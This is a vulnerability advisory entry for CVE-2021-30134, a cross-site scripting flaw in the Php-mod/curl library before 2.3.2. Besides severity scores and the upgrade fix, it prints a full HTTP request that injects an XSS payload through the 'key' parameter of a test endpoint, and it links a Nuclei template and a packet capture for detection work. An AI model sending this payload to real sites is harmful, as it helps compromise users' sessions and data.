| Title | Php-mod/curl Library <2.3.2 - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to Php-mod/curl Library version 2.3.2 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03001 |
| CVE ID | CVE-2021-30134 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss php-mod wpscan php_curl_class_project vuln |
Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.
GET /vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.9.17
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30134.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-30134.pcap
N/AN/A